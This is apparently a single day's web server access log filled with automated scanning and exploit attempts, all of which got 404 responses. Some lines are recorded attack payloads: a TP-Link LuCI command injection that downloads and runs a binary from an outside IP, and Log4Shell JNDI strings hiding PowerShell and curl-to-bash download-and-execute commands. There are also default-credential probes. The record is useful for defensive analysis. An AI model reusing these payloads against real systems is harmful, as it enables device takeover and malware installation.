198.235.24.255 - - [08/Jun/2024:00:19:02 +0200] "GET / HTTP/1.0" 404 952 78.108.177.54 - - [08/Jun/2024:00:40:33 +0200] "GET / HTTP/1.0" 404 952 83.97.73.245 - - [08/Jun/2024:00:40:48 +0200] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 404 952 83.97.73.245 - - [08/Jun/2024:01:11:47 +0200] "GET /actuator/gateway/routes HTTP/1.1" 404 952 147.185.132.114 - - [08/Jun/2024:01:36:01 +0200] "GET / HTTP/1.1" 404 952 200.81.185.179 - - [08/Jun/2024:02:04:39 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 200.81.185.179 - - [08/Jun/2024:02:16:58 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 176.97.210.227 - - [08/Jun/2024:03:59:32 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F176.97.210.226%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 27.7.67.105 - - [08/Jun/2024:04:57:15 +0200] "GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0" 404 952 67.205.148.246 - - [08/Jun/2024:05:31:47 +0200] "GET / HTTP/1.1" 404 952 67.205.148.246 - - [08/Jun/2024:05:31:47 +0200] "GET /download/powershell/ HTTP/1.1" 404 952 167.94.145.109 - - [08/Jun/2024:05:44:18 +0200] "GET / HTTP/1.1" 404 952 167.94.145.109 - - [08/Jun/2024:05:44:22 +0200] "GET / HTTP/1.1" 404 952 45.55.34.78 - - [08/Jun/2024:06:19:10 +0200] "GET / HTTP/1.1" 404 952 45.55.34.78 - - [08/Jun/2024:06:19:10 +0200] "GET /download/powershell/ HTTP/1.1" 404 952 176.97.210.227 - - [08/Jun/2024:06:40:03 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F176.97.210.226%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 198.235.24.95 - - [08/Jun/2024:06:43:20 +0200] "GET / HTTP/1.1" 404 952 64.62.197.94 - - [08/Jun/2024:08:03:27 +0200] "GET / HTTP/1.1" 404 952 64.62.197.96 - - [08/Jun/2024:08:03:41 +0200] "GET /favicon.ico HTTP/1.1" 404 952 64.62.197.93 - - [08/Jun/2024:08:03:57 +0200] "GET /?format=json HTTP/1.1" 404 952 176.97.210.227 - - [08/Jun/2024:09:23:40 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F176.97.210.226%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 10.10.11.28 - - [08/Jun/2024:10:18:31 +0200] "GET / HTTP/1.1" 404 952 192.168.0.100 - - [08/Jun/2024:11:02:18 +0200] "GET / HTTP/1.1" 404 952 202.107.226.4 - - [08/Jun/2024:11:02:51 +0200] "GET / HTTP/1.0" 404 952 115.238.44.234 - - [08/Jun/2024:11:04:33 +0200] "GET / HTTP/1.0" 404 952 172.206.142.244 - - [08/Jun/2024:12:11:40 +0200] "GET / HTTP/1.1" 404 952 188.166.87.67 - - [08/Jun/2024:12:54:34 +0200] "GET / HTTP/1.1" 404 952 183.56.201.169 - - [08/Jun/2024:13:17:34 +0200] "GET / HTTP/1.1" 404 952 176.97.210.227 - - [08/Jun/2024:13:17:57 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F176.97.210.226%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 200.81.185.179 - - [08/Jun/2024:13:58:19 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 106.75.67.154 - - [08/Jun/2024:16:10:44 +0200] "GET / HTTP/1.1" 404 952 78.108.177.54 - - [08/Jun/2024:16:53:01 +0200] "GET / HTTP/1.0" 404 952 60.191.20.210 - - [08/Jun/2024:17:28:01 +0200] "GET / HTTP/1.1" 404 952 176.97.210.227 - - [08/Jun/2024:17:43:59 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F176.97.210.226%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 160.153.245.83 - - [08/Jun/2024:17:46:28 +0200] "POST /?username=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D&password=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D&id=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D HTTP/1.1" 404 952 160.153.245.83 - - [08/Jun/2024:17:46:28 +0200] "POST /?password=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D&username=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D&id=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D HTTP/1.1" 404 952 89.245.11.49 - - [08/Jun/2024:18:23:03 +0200] "GET / HTTP/1.1" 404 952 89.245.11.49 - - [08/Jun/2024:18:23:09 +0200] "GET /favicon.ico HTTP/1.1" 404 952 45.4.252.62 - - [08/Jun/2024:18:25:19 +0200] "GET / HTTP/1.1" 404 952 104.168.70.165 - - [08/Jun/2024:19:16:33 +0200] "GET / HTTP/1.1" 404 952 160.153.245.83 - - [08/Jun/2024:19:27:17 +0200] "POST /?username=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D&password=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D&id=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D HTTP/1.1" 404 952 160.153.245.83 - - [08/Jun/2024:19:27:17 +0200] "POST /?password=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D&username=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D&id=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D HTTP/1.1" 404 952 118.40.165.223 - - [08/Jun/2024:19:48:17 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 78.26.104.254 - - [08/Jun/2024:20:30:38 +0200] "GET / HTTP/1.0" 404 952 185.190.38.14 - - [08/Jun/2024:20:36:57 +0200] "GET / HTTP/1.1" 404 952 185.180.140.5 - - [08/Jun/2024:20:47:39 +0200] "GET / HTTP/1.1" 404 952 142.93.154.84 - - [08/Jun/2024:21:08:47 +0200] "GET / HTTP/1.1" 404 952 142.93.154.84 - - [08/Jun/2024:21:08:47 +0200] "GET /download/powershell/ HTTP/1.1" 404 952 160.153.245.83 - - [08/Jun/2024:21:09:03 +0200] "POST /?password=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D&username=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D&id=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D HTTP/1.1" 404 952 160.153.245.83 - - [08/Jun/2024:21:09:03 +0200] "POST /?username=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D&password=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D&id=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D HTTP/1.1" 404 952 160.153.245.83 - - [08/Jun/2024:21:14:04 +0200] "POST /?username=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D&password=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D&id=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D HTTP/1.1" 404 952 160.153.245.83 - - [08/Jun/2024:21:14:04 +0200] "POST /?password=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D&username=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D&id=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D HTTP/1.1" 404 952 160.153.245.83 - - [08/Jun/2024:21:20:05 +0200] "POST /?username=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D&password=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D&id=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D HTTP/1.1" 404 952 160.153.245.83 - - [08/Jun/2024:21:20:05 +0200] "POST /?password=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D&username=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D&id=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D HTTP/1.1" 404 952 10.128.0.49 - - [08/Jun/2024:21:55:50 +0200] "GET / HTTP/1.1" 404 952 176.97.210.227 - - [08/Jun/2024:21:59:52 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F176.97.210.226%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 185.191.127.212 - - [08/Jun/2024:22:28:30 +0200] "GET / HTTP/1.1" 404 952 13.64.211.39 - - [08/Jun/2024:22:41:41 +0200] "GET / HTTP/1.1" 404 952 41.205.90.51 - - [08/Jun/2024:22:47:28 +0200] "GET / HTTP/1.1" 404 952 205.210.31.105 - - [08/Jun/2024:23:40:23 +0200] "GET / HTTP/1.0" 404 952